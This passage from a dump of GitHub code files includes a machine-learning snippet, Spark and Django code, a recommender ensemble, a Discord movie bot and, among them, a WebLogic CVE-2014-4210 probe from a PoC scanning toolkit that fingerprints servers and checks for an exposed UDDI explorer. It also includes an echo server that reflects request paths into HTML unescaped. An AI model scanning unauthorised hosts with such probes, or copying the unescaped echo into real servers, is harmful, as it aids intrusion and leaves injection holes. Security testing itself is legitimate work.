n_jobs=-1)\nRf_clf.fit(X_train, Y_train)\n# predict test score using RFC\npredict_rfc = Rf_clf.predict(X_test)\naccuracy_rfc = accuracy_score(predict_rfc, Y_test)\nprint('Accuracy of Random Forest Classifer is: {}'.format(accuracy_rfc))\n","repo_name":"moshiurmmr/Machine_Learning_Projects","sub_path":"Titanic_ML_from_Disaster/Titanic_ML_from_disaster_classical_models.py","file_name":"Titanic_ML_from_disaster_classical_models.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29953718409","text":"import argparse\nimport json\nimport logging\nimport os\nimport shutil\nimport time\nfrom datetime import date, datetime\nfrom functools import partial\n\nfrom pyspark.conf import SparkConf\nfrom pyspark.context import SparkContext\n\nfrom datamodels import Tweet, TweetCollection, merge_tweet_collections\nfrom userstats import create_stats\n\n\ndef none_if_error(func):\n    def skip_errors_func(func_args):\n        try:\n            return func(func_args)\n        except Exception as e:\n            logging.error(f\"Encountered error {e} when calling {func} on '{func_args}'\")\n            return None\n    return skip_errors_func\n\n\ndef is_not_none(obj):\n    return obj is not None\n\n\ndef main(input_path: str, output_path: str, end_date: date, sc: SparkContext):\n    if not output_path:\n        output_path = \"output/\" + input_path\n        logging.warning(f\"No output path given. It will be %s\", output_path)\n    if os.path.exists(output_path):\n        logging.warning(f\"Removing %s\", output_path)\n        shutil.rmtree(output_path)\n\n    start = time.perf_counter()\n\n    tweets = sc.textFile(input_path) \\\n        .map(none_if_error(Tweet.from_json)) \\\n        .filter(is_not_none)\n\n    if not end_date:\n        logging.warning(\"'end_date' was not given as an argument, so it will be \"\n                        \"calculated which is quite slow!\")\n        end_date = tweets.map(Tweet.get_creation_date).max()\n        logging.warning(\"'end_date' is %s. You can use this if you need to run \"\n                        \"the app again.\", end_date)\n\n    tweets.map(none_if_error(Tweet.tweet_collection)) \\\n        .filter(is_not_none) \\\n        .keyBy(TweetCollection.get_user_id) \\\n        .reduceByKey(merge_tweet_collections) \\\n        .mapValues(lambda tweet_collection:\n                   create_stats(\n                       tweet_collection.dated_user.get_user(),\n                       tweet_collection.tweets,\n                       end_date\n                   )) \\\n        .values() \\\n        .map(partial(json.dumps, ensure_ascii=False)) \\\n        .saveAsTextFile(output_path)\n\n    print('Finished in ', time.perf_counter() - start)\n\n\nif __name__ == '__main__':\n    arg_parser = argparse.ArgumentParser()\n    arg_parser.add_argument(\"input_path\",\n                            help=\"Input file. For multiple, use a glob pattern.\")\n    arg_parser.add_argument(\"--output-path\",\n                            required=False,\n                            default=None,\n                            help=\"Path for output folder.\")\n    arg_parser.add_argument(\"--end-date\",\n                            required=False,\n                            default=None,\n                            help=\"Latest date for tweets in the sample. The app is \"\n                                 \"significantly faster with this argument provided.\")\n    arg_parser.add_argument(\"--spark-driver-memory\",\n                            required=False,\n                            default=\"12G\",\n                            help=\"Sets Spark driver memory which stores RDDs in local \"\n                                 \"mode. Use the '-n' flag to ignore this argument if \"\n                                 \"using spark-submit.\")\n    arg_parser.add_argument(\"--n-cores\",\n                            default='*',\n                            help=\"Sets number of cores that Spark will use in local \"\n                                 \"mode. Use the '-n' flag to ignore this argument if \"\n                                 \"using spark-submit.\")\n    arg_parser.add_argument(\"-n\", \"--no-local\",\n                            required=False,\n                            action=\"store_true\",\n                            help=\"Flag for marking that the 'spark' CLI arguments \"\n                                 \"should be ignored if Spark configuration is given \"\n                                 \"via spark-submit or a Spark configuration.\")\n    args = arg_parser.parse_args()\n\n    end_date_arg = None if not args.end_date else datetime.fromisoformat(args.end_date)\n\n    conf = SparkConf()\n    if not args.no_local:\n        conf.set(\"spark.driver.memory\", args.spark_driver_memory) \\\n            .setMaster(f\"local[{args.n_cores}]\")\n    spark_context = SparkContext(conf=conf)\n\n    main(\n        args.input_path,\n        args.output_path,\n        end_date_arg,\n        spark_context\n    )\n","repo_name":"centre-for-humanities-computing/twitter-posting-stats","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"12763978253","text":"from http import server\nfrom http.server import HTTPServer,BaseHTTPRequestHandler\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header('content-type', 'text/html')\n        self.end_headers()\n        self.wfile.write(self.path.encode()) # for the echo server\n        # self.wfile.write(bytes(\"<html><body><h1>PYTHON TEST MESSAGE</h1></body>></html>\",\"utf-8\"))        \n\n\ndef main():\n    PORT = 8000\n    server = HTTPServer(('',PORT),Handler)\n    print('Server running on %s' % PORT)\n    server.serve_forever()\n    server.server_close()\n\nif __name__ == '__main__':\n    main()","repo_name":"milititskiy/python_test","sub_path":"git/webserver/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41681219950","text":"from django.urls import path, include\nfrom .views import RoomListCreateAPIView, RoomWithMessageAPIView, MessageCreateAPIView, \\\n    lobby, RoomViewSet, MessageViewSet\nfrom rest_framework import routers\n\nrouter = routers.DefaultRouter()\nrouter.register(r\"rooms\", RoomViewSet)\nrouter.register(r\"messages\", MessageViewSet)\n\n\nurlpatterns = [\n    path(\"ws/\", include(router.urls)),\n]\n","repo_name":"mokhammaddev/Instagram-Clone-API","sub_path":"chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9964185999","text":"from openerp.osv import fields,osv\nimport datetime\n\nclass pending_purchase_order_wizard(osv.osv_memory):\n\t_name=\"pending.purchase.order.wizard\"\n\t_columns={\n\t\t\"date_start\" :  fields.datetime(\"Date From\", required=False),\n\t\t\"date_stop\"\t: fields.datetime(\"Date To\", required=False),\n\t\t\"purchase_type\" : fields.selection([('import','Import'),('local','Local'),('all','All')],\"Purchase Type\",required=True),\n\t\t# \"output_type\" : fields.selection([('pdf','Pdf (*.pdf)')], \"Output Type\"),\n\t\t'output_type':fields.selection([('xls','Excel'),('pdf','PDF')],'Output Type',required=True),\n\t\t\"goods_type\" : fields.selection([('packing','Packing'),('stores','Stores')], \"Goods Type\"),\n\n\n\t}\n\t_defaults={\n\t\t\"date_start\" :lambda self,cr,uid,context:datetime.date.today().strftime(\"2016-01-01 00:00:00\"),\n\t\t\"date_stop\" :lambda self,cr,uid,context:datetime.date.today().strftime(\"2016-01-30 00:00:00\"),\n\t\t\"output_type\" :'pdf',\n\t\t\"purchase_type\" :lambda *p:'local',\n\t\t\"goods_type\":lambda *p:'packing',\n\t}\n\n\tdef generate_report(self,cr,uid,ids,context=None):\n\t\t\tif not context:\n\t\t\t\tcontext={}\n\t\t\tform_data=self.read(cr,uid,ids)[0]\n\t\t\tdatas={\n\t\t\t'ids': context.get('active_ids',[]),\n\t\t\t'model' :'pending.purchase.order.wizard',\n\t\t\t'form' :form_data,\n\t\t\t}\n\n\t\t\tif form_data['output_type']=='pdf':\n\t\t\t\treturn{\n\t\t\t\t'type' :'ir.actions.report.xml',\n\t\t\t\t'report_name' :'pending.purchase.order.report',\n\t\t\t\t'report_type' :'webkit',\n\t\t\t\t'datas' :datas,\n\t\t\t\t}\n\t\t\telse:\n\t\t\t\treturn{\n\t\t\t\t'type' :'ir.actions.report.xml',\n\t\t\t\t'report_name' :'xls.pending.purchase.order.report',\n\t\t\t\t'report_type' :'xls',\n\t\t\t\t'datas' :datas,\n\t\t\t\t}\n","repo_name":"hendrasaputra0501/btxjalan","sub_path":"ad_purchases_report/wizard_pending_purchase_order_report.py","file_name":"wizard_pending_purchase_order_report.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26644313691","text":"'''Write a Python program to split a string of words separated by commas and spaces into two lists, words and separators.'''\n\ndef split_sentence(sentence: str):\n    words = sentence.split()\n    list_separators=[' ',',']\n    separators = [i for i in sentence if i in list_separators]\n    return words, separators\n\nyour_input = input(\"Type the sentence: \")\n\nwords, separators = split_sentence(your_input)\n\nprint(words)\nprint(separators)","repo_name":"juliashal/Python-Practice","sub_path":"Words and Separators.py","file_name":"Words and Separators.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30826381304","text":"import numpy as np\nimport pandas as pd\nfrom skmultiflow.core import BaseSKMObject, MetaEstimatorMixin\nfrom skmultiflow.utils import get_dimensions\nfrom recommendation.attribute import AttributeClassifier\nfrom collections import Counter\nfrom collections import OrderedDict\nfrom collections import deque\nfrom collections import namedtuple\nfrom collections import defaultdict\nimport random\nfrom utils.shared_data import SharedData as Data\n\n\nclass BeerEnsemble(BaseSKMObject, MetaEstimatorMixin):\n    \"\"\"Bandit-based ensemble of component recommenders based on Thompson Sampling\n\n    Terminology\n    ----------\n    - a predictor is a component that has been split into groups\n    - a group is a part of a component that corresponds to a specific precision range\n\n    Notes\n    ----------\n    Any recommender implementing the predict_proba() method can be used as a component.\n    Component partitioning (optional) is achieved by providing the boundaries for prediction probabilities.\n\n    Optionally accepts a file with item-to-attributes mappings for building attribute-based components\n    Expected format: first column with item ids, and other columns with attribute values\n\n    References\n    ----------\n    Brodén et al. (2019). In ACM Trans. Interact. Intell. Syst. 10, 1, Article 4.\n    \"A Bandit-Based Ensemble Framework for Exploration/Exploitation of Diverse Recommendation Components:\n    An Experimental Study within E-Commerce\"\n    \"\"\"\n\n    def __init__(self, cf_components=[], attr_file=None, boundaries=[], verbose=False):\n        super().__init__()\n        self.cf_components = cf_components\n        self.attr_file = attr_file\n        self.verbose = verbose\n        self.components = None\n        self.sampler = None\n        self.current_predictions = OrderedDict()  # dict that holds who recommended what\n        self.current_sleeping = set()\n        self.query_counter = Counter()\n        self.query_miss_counter = Counter()\n        self.responses = dict()\n        self._rec_tracker = defaultdict(set)\n        if any(b for b in boundaries if b < 0 or b > 1):\n            raise ValueError('The boundaries of prediction probabilities should be from 0 to 1')\n        else:\n            self.boundaries = boundaries\n        if len(self.cf_components) == 0 and not attr_file:\n            raise ValueError('The ensemble is empty. Please provide at least one component.')\n\n    def configure(self, **kwargs):\n        self.components = self.cf_components + self._build_attr_components()\n        for c in self.components:\n            if hasattr(c, 'configure'):\n                c.configure(**kwargs)\n        self.sampler = self.Sampler(self.components, self.boundaries)\n\n    def _build_attr_components(self):\n        attr_components = []\n        if self.attr_file is not None:\n            try:\n                attr_df = pd.read_csv(self.attr_file)\n                # retain only observed items\n                attr_df = attr_df[attr_df.iloc[:, 0].isin(Data.classes)]\n                attr_components = [AttributeClassifier(attr_df.iloc[:, [0, i]])\n                                   for i in range(1, len(attr_df.columns))]\n            except FileNotFoundError:\n                print('Attribute file not found. Only behavioral components will be used.')\n        return attr_components\n\n    def partial_fit(self, X, y, classes=None, sample_weight=None):\n        \"\"\"Partially fits the model on the supplied X and y matrices.\n\n        Since it's an ensemble learner, if X and y matrix of more than one\n        sample are passed, the algorithm will partial fit the model one sample\n        at a time.\n\n        Parameters\n        ----------\n        X: numpy.ndarray of shape (n_samples, n_features)\n            Features matrix used for partially updating the model.\n\n        y: Array-like\n            An array-like of all the class labels for the samples in X.\n\n        classes: numpy.ndarray (default=None)\n            Array with all possible/known class labels.\n\n        sample_weight: Not used (default=None)\n\n        Returns\n        -------\n        AdditiveExpertEnsemble\n            self\n        \"\"\"\n\n        for i in range(len(X)):\n            self._fit_single_sample(X[i:i + 1, :], y[i:i + 1], classes, sample_weight)\n        return self\n\n    def _fit_single_sample(self, X, y, classes=None, sample_weight=None):\n        for component in self.components:\n            component.partial_fit(X, y, classes, sample_weight)\n        if len(self.current_predictions) > 0:\n            self.sampler.update_posterior(self.current_predictions, y[0])\n\n    def predict(self, X):\n        \"\"\"\n\n        Parameters\n        ----------\n        X: numpy.ndarray of shape (n_samples, n_features)\n            A matrix of the samples we want to predict.\n\n        Returns\n        -------\n        numpy.ndarray\n            A numpy.ndarray with the label prediction for all the samples in X.\n        \"\"\"\n\n        predictions = deque()\n        r, _ = get_dimensions(X)\n        for i in range(r):\n            self.responses.clear()\n            self.current_predictions.clear()\n            self.current_sleeping.clear()\n            for rank in range(Data.rec_size):\n                self._predict_single_item(X[i:i + 1, :])\n            y_pred = np.fromiter(self.current_predictions.keys(), dtype=int)\n        predictions.append(y_pred)\n        return np.array(predictions)\n\n    def _predict_single_item(self, X):\n        sorted_samples = self.sampler.sample()\n        for predictor in sorted_samples:\n            if predictor not in self.current_sleeping:\n                self.query_counter[predictor] += 1\n                item = self._get_response(X, predictor)\n                if item is not None:\n                    self.current_predictions[item] = predictor\n                    return\n                else:\n                    self.current_sleeping.add(predictor)\n                    self.query_miss_counter[predictor] += 1\n\n    def _get_response(self, X, predictor):\n        try:\n            y_proba = self.responses[predictor.id_]\n        except KeyError:\n            y_proba = self.components[predictor.id_].predict_proba(X)\n            y_proba[0][Data.session_vector[-1]] = 0.0\n            self.responses[predictor.id_] = y_proba\n        num_predicted = np.count_nonzero(y_proba[0])\n        if num_predicted > 0:\n            interval = self._get_interval(predictor)\n            sorted_ids = y_proba[0].argsort()[::-1][:num_predicted]\n            session = X[0, Data.sid]\n            for i in sorted_ids:\n                item = Data.classes[i]\n                # if best prediction is below interval, no point to continue\n                if y_proba[0][i] < interval[0]:\n                    return None\n                elif y_proba[0][i] <= interval[1] and \\\n                        item not in self.current_predictions:\n                    if not Data.allow_reminders and i in Data.session_vector:\n                        continue\n                    if not Data.allow_repeated and i in self._rec_tracker[session]:\n                        continue\n                    self._rec_tracker[session].add(i)\n                    return item\n\n    def _get_interval(self, predictor):\n        if len(self.boundaries) == 0 or predictor.id_ >= len(self.cf_components):\n            return 0, 1  # TODO: IDF-based split for attribute-based components\n        else:\n            if predictor.group == 0:\n                return 0, self.boundaries[0]\n            elif predictor.group == len(self.boundaries):\n                return self.boundaries[-1], float('inf')\n            else:\n                return self.boundaries[predictor.group - 1], self.boundaries[predictor.group]\n\n    def predict_proba(self, X):\n        \"\"\" Not implemented for this method. \"\"\"\n        raise NotImplementedError\n\n    def display_info(self):\n        if self.verbose:\n            print('\\nBEER ensemble statistics\\n')\n            total_displays = sum([sum(beta_params) - 2\n                                  for beta_params in self.sampler.predictors.values()])\n            for predictor, beta_params in self.sampler.predictors.items():\n                print(f'{self.components[predictor.id_]}({predictor.group})')\n                successes, failures = beta_params[0] - 1, beta_params[1] - 1\n                displays = successes + failures\n                coverage = 1 - self.query_miss_counter[predictor] / self.query_counter[predictor]\n                output = (\n                    f'successes/failures/displays: {successes}/{failures}/{displays}\\n'\n                    f'success ratio: {successes / displays:.3f}\\n'\n                    f'exposure ratio: {displays / total_displays:.3f}\\n'\n                    f'query coverage: {coverage:.3f}\\n'\n                    f'-------------'\n                )\n                print(output)\n\n    class Sampler:\n\n        def __init__(self, components, boundaries=[]):\n            self.predictors = OrderedDict()\n            Predictor = namedtuple('Predictor', ['id_', 'group'])\n            for i, component in enumerate(components):\n                if component.__class__.__name__ == 'AttributeClassifier':\n                    # TODO: split attribute-based components\n                    self.predictors[Predictor(id_=i, group=0)] = np.ones(2, dtype=int)\n                else:\n                    for j in range(len(boundaries) + 1):\n                        self.predictors[Predictor(id_=i, group=j)] = np.ones(2, dtype=int)\n\n        def sample(self):\n            \"\"\"Thompson Sampling.\"\"\"\n            sorted_predictors = sorted(self.predictors.keys(), key=lambda k:\n                                       self.beta_sample(k), reverse=True)\n            return sorted_predictors\n\n        def beta_sample(self, group_idx):\n            a = self.predictors[group_idx][0]  # Success\n            b = self.predictors[group_idx][1]  # Failure\n            return random.betavariate(a, b)\n\n        def update_posterior(self, current_predictions, y_true):\n            for y_pred, group_idx in current_predictions.items():\n                if y_pred == y_true:\n                    self.predictors[group_idx][0] += 1\n                else:\n                    self.predictors[group_idx][1] += 1\n","repo_name":"paraschakis/flowrec","sub_path":"recommendation/beer.py","file_name":"beer.py","file_ext":"py","file_size_in_byte":10163,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"73498922987","text":"import sys\nimport msgpack\nimport io\nimport csv\nimport pandas as pd\n###########################################################################################\n# Opening all necessary files, maps, and lists that will be used\n\ntsv_file_path = sys.argv[1]\nmessagepack_tsv_path = sys.argv[2]\ntransposed_tsv_file_path = sys.argv[3]\ntransposed_messagepack_tsv_path = sys.argv[4]\noutput_file_path = sys.argv[5]\n\nmessagepack_tsv = open(messagepack_tsv_path + \"sample_data.msgpack\", \"rb\")\ntsv_map = msgpack.unpack(messagepack_tsv)\n\nsample_file = open(messagepack_tsv_path + \"samples.msgpack\", \"rb\")\nsamples = msgpack.unpack(sample_file)\n\ntransposed_map_file = open(transposed_messagepack_tsv_path + \"sample_data.msgpack\", \"rb\")\ntransposed_map = msgpack.unpack(transposed_map_file)\n\ntransposed_samples_file = open(transposed_messagepack_tsv_path + \"samples.msgpack\", \"rb\")\ntransposed_samples = msgpack.unpack(transposed_samples_file)\n\ntsv_file = open(tsv_file_path, \"rb\")\ntransposed_tsv_file = open(transposed_tsv_file_path, \"rb\")\n\ntsv_headers = tsv_file.readline()\n##############################################################################################\n\n\n# MessagePack seems to store things as bytes, so most things need to be cast as bytes to be considered valid\n\n# Identify samples that have a value of \"MCF7\" for the base_cell_id feature and a value greater than 50 for donor_age.\nlocation_range1 = transposed_map[b\"base_cell_id\"]\ntransposed_tsv_file.seek(location_range1[0])\ndesired_feature_data1 = transposed_tsv_file.read(location_range1[1]).split(b\"\\t\")\n\nlocation_range2 = transposed_map[b\"donor_age\"]\ntransposed_tsv_file.seek(location_range2[0])\ndesired_feature_data2 = transposed_tsv_file.read(location_range2[1]).split(b\"\\t\")\n\nmatching_samples = []\nprint(\"Finding samples that match the given filter...\")\nfor i in range(0, len(desired_feature_data1)):\n    if desired_feature_data1[i] == b\"MCF7\" and int(desired_feature_data2[i]) > 50:\n        matching_samples.append(samples[i])\n\nprint(\"Obtaining row data for those matching samples\")\noutput_rows = []\nfor sample in matching_samples:\n    tsv_file.seek(tsv_map[sample][0])\n    entire_row = tsv_file.read(tsv_map[sample][1])\n    output_rows.append(entire_row)\n\nprint(\"Writing all data to the output file\")\n#output_file = open(output_file_path, \"wb\")\n#output_file.write(tsv_headers)\noutput = io.StringIO()\ncsv_writer = csv.writer(output, delimiter=\"\\t\")\nfor row in output_rows:\n    csv_writer.writerow(row)\noutput.seek(0)\ndf = pd.read_csv(output, sep='\\t')\nprint(str(df.columns.values))\n#output_file.write(b\"\\n\".join(output_rows))\n","repo_name":"frytime32/quick_filter_geney","sub_path":"quick_filter.py","file_name":"quick_filter.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36665809162","text":"#!/usr/bin/env python3\r\n# _*_ coding:utf-8 _*_\r\n\r\n\r\nimport requests\r\nfrom urllib.parse import urlparse\r\nimport time, re, socket\r\ndef weblogic_fingerprint(url):          # weblogic版本指纹\r\n    oH = urlparse(url)\r\n    a = oH.netloc.split(':')\r\n    port = 80\r\n    if 2 == len(a):\r\n        port = a[1]\r\n    elif 'https' in oH.scheme:\r\n        port = 443\r\n    host = a[0]\r\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    sock.settimeout(3)\r\n    server_address = (str(host), int(port))\r\n    sock.connect(server_address)\r\n    sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))\r\n    time.sleep(1)\r\n    try:\r\n        version = (re.findall(r'HELO:(.*?).false', sock.recv(1024).decode()))[0]\r\n        if version:\r\n            return True\r\n        else:\r\n            return False\r\n    except:\r\n        return False\r\n\r\ndef islive(ur,port):\r\n    url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/'\r\n    r = requests.get(url, timeout=5)\r\n    return r.status_code\r\n\r\ndef run(url,port):\r\n    if islive(url,port)==200:\r\n        u='http://' + str(url)+':'+str(port)+'/uddiexplorer/'\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef verify(url):\r\n    relsult = {\r\n        'name': 'CVE_2014_4210(weblogic)',\r\n        'vulnerable': False\r\n    }\r\n    try:\r\n        if weblogic_fingerprint(url) is not True:\r\n            return relsult\r\n        oH = urlparse(url)\r\n        a = oH.netloc.split(':')\r\n        port = 80\r\n        if 2 == len(a):\r\n            port = a[1]\r\n        elif 'https' in oH.scheme:\r\n            port = 443\r\n        host = a[0]\r\n        if run(host, port):\r\n            relsult['vulnerable'] = True\r\n            relsult['url'] = url\r\n            relsult['about'] = 'https://github.com/rabbitmask/WeblogicScan/blob/master/poc/CVE_2014_4210.py'\r\n        return relsult\r\n    except:\r\n        return relsult\r\n\r\n","repo_name":"tr0uble-mAker/POC-bomber","sub_path":"pocs/middleware/weblogic/CVE_2014_4210.py","file_name":"CVE_2014_4210.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":1879,"dataset":"github-code","pt":"37"}
+{"seq_id":"14031710692","text":"import discord\nimport requests\nimport random\nimport json\nimport time\nimport os\nfrom dotenv import load_dotenv\n\nfrom tv_shows import fetch_tv_shows, fetch_tv_shows_by_genre\n\n# Keys\nload_dotenv()\ntoken = os.getenv('DISCORD_TOKEN')\nintents = discord.Intents.default()\nintents.message_content = True\nclient = discord.Client(intents=intents)\n\nGENRE_LIST = None\n\n@client.event\nasync def on_ready():\n    print(f'Logged in as {client.user.name} ({client.user.id})') # type: ignore\n\n@client.event\nasync def on_message(message):\n    if message.author == client.user:\n        return \n    \n    if message.content.startswith('!test'):\n        channel = message.channel\n        await channel.send('Bot is working!')\n    \n    if message.content.startswith('!help'):\n        await show_help(message)\n\n    if message.content.startswith('!recommend'):\n        if message.content.startswith('!recommend list'):\n            await recommend_movie_list(message)\n        elif message.content.startswith('!recommend tv'):\n            await recommend_tv_show_list(message)\n        else:\n            await recommend_movie(message)\n\n\nasync def recommend_movie(message):\n    \"\"\"\n    Function to recommend a single movie either random or by genre\n    Params \n        - message -> eg:- !recommend action\n    Returns\n        - A movie recommendation on the discord channel \n    \"\"\"\n    genre = message.content.split(' ')[1]\n    if genre.lower() == 'random':\n        movie_data = fetch_random_movie()\n    else:\n        genre_id = get_genre_id(genre)\n        if genre_id is None:\n            await message.channel.send(\"Sorry, I couldn't find the genre ID for the specified genre\")\n            return \n        movie_data = fetch_movie_by_genre_id(genre_id)\n\n    if movie_data is None:\n        await message.channel.send(\"Sorry, I couldn't find a recommendation at the moment\")\n        return\n    \n    try: \n        # Extract info\n        title = movie_data['title']\n        overview = movie_data['overview']\n        poster_url = movie_data['poster_url']\n\n        # Send recommendation\n        rec = discord.Embed(title=title, description=overview)\n        rec.set_image(url=poster_url)\n        await message.channel.send(embed=rec)\n    except KeyError:\n        await message.channel.send('Sorry, There was an issue with movie recommendation. Please Try again later.')\n\n\nasync def recommend_movie_list(message):\n    \"\"\"\n    Function to recommend a list of movies by genre\n    Params\n        - message -> eg:- !recommend list action\n    Returns\n        - A recommend list of movies by that genre\n    \"\"\"\n    genre = message.content.split(' ')[2]\n    genre_id = get_genre_id(genre)\n    if genre_id is None:\n        await message.channel.send(\"Sorry, I couldn't find any recommendations for that genre\")\n        return\n    movie_data = fetch_movies_by_genre(genre_id)\n\n    if movie_data is None or not movie_data:\n        await message.channel.send(\"Sorry, I couldn't find any recommendations for this genre\")\n        return\n\n    try:\n        embed = discord.Embed(title=f'Movie recommmendations for {genre}', description=\"\")\n        for i, movie in enumerate(movie_data, start=1):\n            title = movie['title']\n            overview = movie['overview']\n            if len(overview) > 2000:\n                overview = overview[:1997] + '...'\n            embed.add_field(name=f\"{i}. {title}\", value=overview, inline=False)\n            if i % 10 == 0:\n                await message.channel.send(embed=embed)\n                embed.clear_fields()\n        \n        if len(embed.fields) > 0:\n            await message.channel.send(embed=embed)\n\n    except KeyError:\n        await message.channel.send('Sorry, there was an issue with the movie recommendation. Please try again later')\n\n\ndef fetch_random_movie():\n    \"\"\"\n    Fetch a random movie recommendation using TMDB API\n    \"\"\"\n    api_key = os.getenv('TMDB_API_KEY')\n    url = f'https://api.themoviedb.org/3/movie/popular?api_key={api_key}'\n    \n    try:\n        retries = 3\n        for i in range(retries):\n            response = requests.get(url)\n            if response.status_code == 200:\n                data = response.json()\n                results = data['results']\n                random_movie = random.choice(results)\n                movie_data = {\n                    'title': random_movie['title'],\n                    'overview': random_movie['overview'],\n                    'poster_url': f\"https://image.tmdb.org/t/p/original/{random_movie['poster_path']}\"\n                }\n            \n                return movie_data\n            else:\n                if i < retries - 1:\n                    time.sleep(1)\n                    continue\n                else:\n                    print('Error while fetching random movie: ')\n                    return None\n    except requests.exceptions.RequestException as e:\n        print('Error while fetching random movie: ', str(e))\n        return None\n\n\ndef fetch_genre_list():\n    \"\"\"\n    Fetch Genre list from the TMDB database.\n    \"\"\"\n    api_key = os.getenv('TMDB_API_KEY')\n    url = f'https://api.themoviedb.org/3/genre/movie/list?api_key={api_key}'\n    try:\n        retries = 3\n        for attempt in range(retries):\n            response = requests.get(url)\n            if response.status_code == 200:\n                data = response.json()\n                return data['genres']\n            else:\n                if attempt < retries - 1:\n                    time.sleep(1)\n                    continue\n                else:\n                    print(f\"Error while fetching genre list: {response.status_code}\")\n                    return None\n    except requests.exceptions.RequestException as e:\n        print('Error occurred while fetching genre list:', str(e))\n        return None\n\n\ndef get_genre_id(genre):\n    \"\"\"\n    Get genre id from the genre list function\n    Params\n        - genre\n    Returns\n        - genre_id\n    \"\"\"\n    global GENRE_LIST\n    \n    if GENRE_LIST is None:\n        GENRE_LIST = fetch_genre_list()\n    if GENRE_LIST is not None:\n        genre_l = genre.lower()\n        print(\"Available Genres:\", [g['name'] for g in GENRE_LIST])\n        for g in GENRE_LIST:\n            if g['name'].lower() == genre_l:\n                return g['id']\n    print(\"Genre ID not found for:\", genre)  # Debugging statement\n    return None\n\n\ndef fetch_movie_by_genre_id(genre_id):\n    \"\"\"\n    Fetch Movie by their genre_id\n    Args\n        - genre_id\n    Returns\n        movie_data -> A dict containing title, overview and poster_url for the movie\n    \"\"\"\n    api_key = os.getenv('TMDB_API_KEY')\n    url = f'https://api.themoviedb.org/3/discover/movie?api_key={api_key}&with_genres={genre_id}'\n    try:\n        response = requests.get(url)\n        if response.status_code == 200:\n            data = response.json()\n            results = data['results']\n            if results:\n                random_movie = random.choice(results)\n                movie_data = {\n                    'title': random_movie['title'],\n                    'overview': random_movie['overview'],\n                    'poster_url': f\"https://image.tmdb.org/t/p/original/{random_movie['poster_path']}\"\n                }\n                return movie_data\n            else:\n                return None\n        else:\n            print(f'Error while fetching movie by genre ID: {response.status_code}')\n            return None\n    except requests.exceptions.RequestException as e:\n        print(f\"Error occurred while fetching movie by genre ID:\", str(e))\n        return None\n\n\ndef fetch_movies_by_genre(genre_id):\n    \"\"\"\n    Fetch movies by genre for recommend list of movies function\n    Params\n        - genre_id\n    Returns\n        - movies_data -> list of dict containing movie information\n    \"\"\"\n    api_key = os.getenv('TMDB_API_KEY')\n    url = f'https://api.themoviedb.org/3/discover/movie?api_key={api_key}&with_genres={genre_id}'\n\n    try:\n        retries = 3\n        for i in range(retries):\n            response = requests.get(url)\n            if response.status_code == 200:\n                data = response.json()\n                results = data['results']\n                if results:\n                    movies_data = []\n                    for result in results:\n                        movie_data = {\n                            'title': result['title'],\n                            'overview': result['overview'],\n                            'poster_url': f\"https://image.tmdb.org/t/p/original/{result['poster_path']}\"\n                        }\n                        movies_data.append(movie_data)\n\n                    return movies_data\n                else:\n                    return []\n            else:\n                if i < retries - 1:\n                    time.sleep(1)\n                    continue\n                else:\n                    print('Error while fetching movies by genre ID: ')\n                    return None\n    except requests.exceptions.RequestException as e:\n        print('Error while fetching movies by genre ID: ', str(e))\n        return None \n\n\nasync def show_help(message):\n    \"\"\"\n    Function to list all the commands for the bot \n    \"\"\"\n    help_messages = [\n        \"Available commands:\",\n        \"- !test: Check if the bot is working\",\n        \"- !recommend <genre>: Get a movie recommendation for that genre\",\n        \"- !recommend random: Get a movie recommendation by random\",\n        \"- !recommend list <genre>: Get a list of movie recommendations by genre\",\n        \"- !recommend tv <genre>: Get a list of TV show recommendations by genre\",\n        \"- !help: Show this help message\"\n    ]\n    help_message = \"\\n\".join(help_messages)\n    await message.channel.send(help_message)\n\n\nasync def recommend_tv_show_list(message):\n    genre = message.content.split(' ')[2]\n    genre_id = get_genre_id(genre)\n    if genre_id is None:\n        await message.channel.send(\"Sorry, I couldn't find any TV show recommendations for this genre\")\n        return\n    tv_shows = fetch_tv_shows_by_genre(genre)\n    if not tv_shows:\n        await message.channel.send(\"Sorry, I couldn't find any TV show recommmendations for this genre\")\n        return\n    \n    try:\n        embed = discord.Embed(title=f'TV show recommendations for {genre}', description='')\n        for i, show in enumerate(tv_shows, start=1):\n            name = show.get(\"name\", \"Unknown\")\n            overview = show.get(\"overview\", \"\")\n            if len(overview) > 2000:\n                overview = overview[:1997] + \"...\"\n            embed.add_field(name=f\"{i}. {name}\", value=overview, inline=False)\n            if i % 10 == 0:\n                await message.channel.send(embed=embed)\n                embed.clear_fields()\n        if len(embed.fields) > 0:\n            await message.channel.send(embed=embed)\n    except KeyError:\n        await message.channel.send(\"Sorry, there was an issue with the TV show recommendation. Please try again later.\")\n\nif __name__ == '__main__':\n    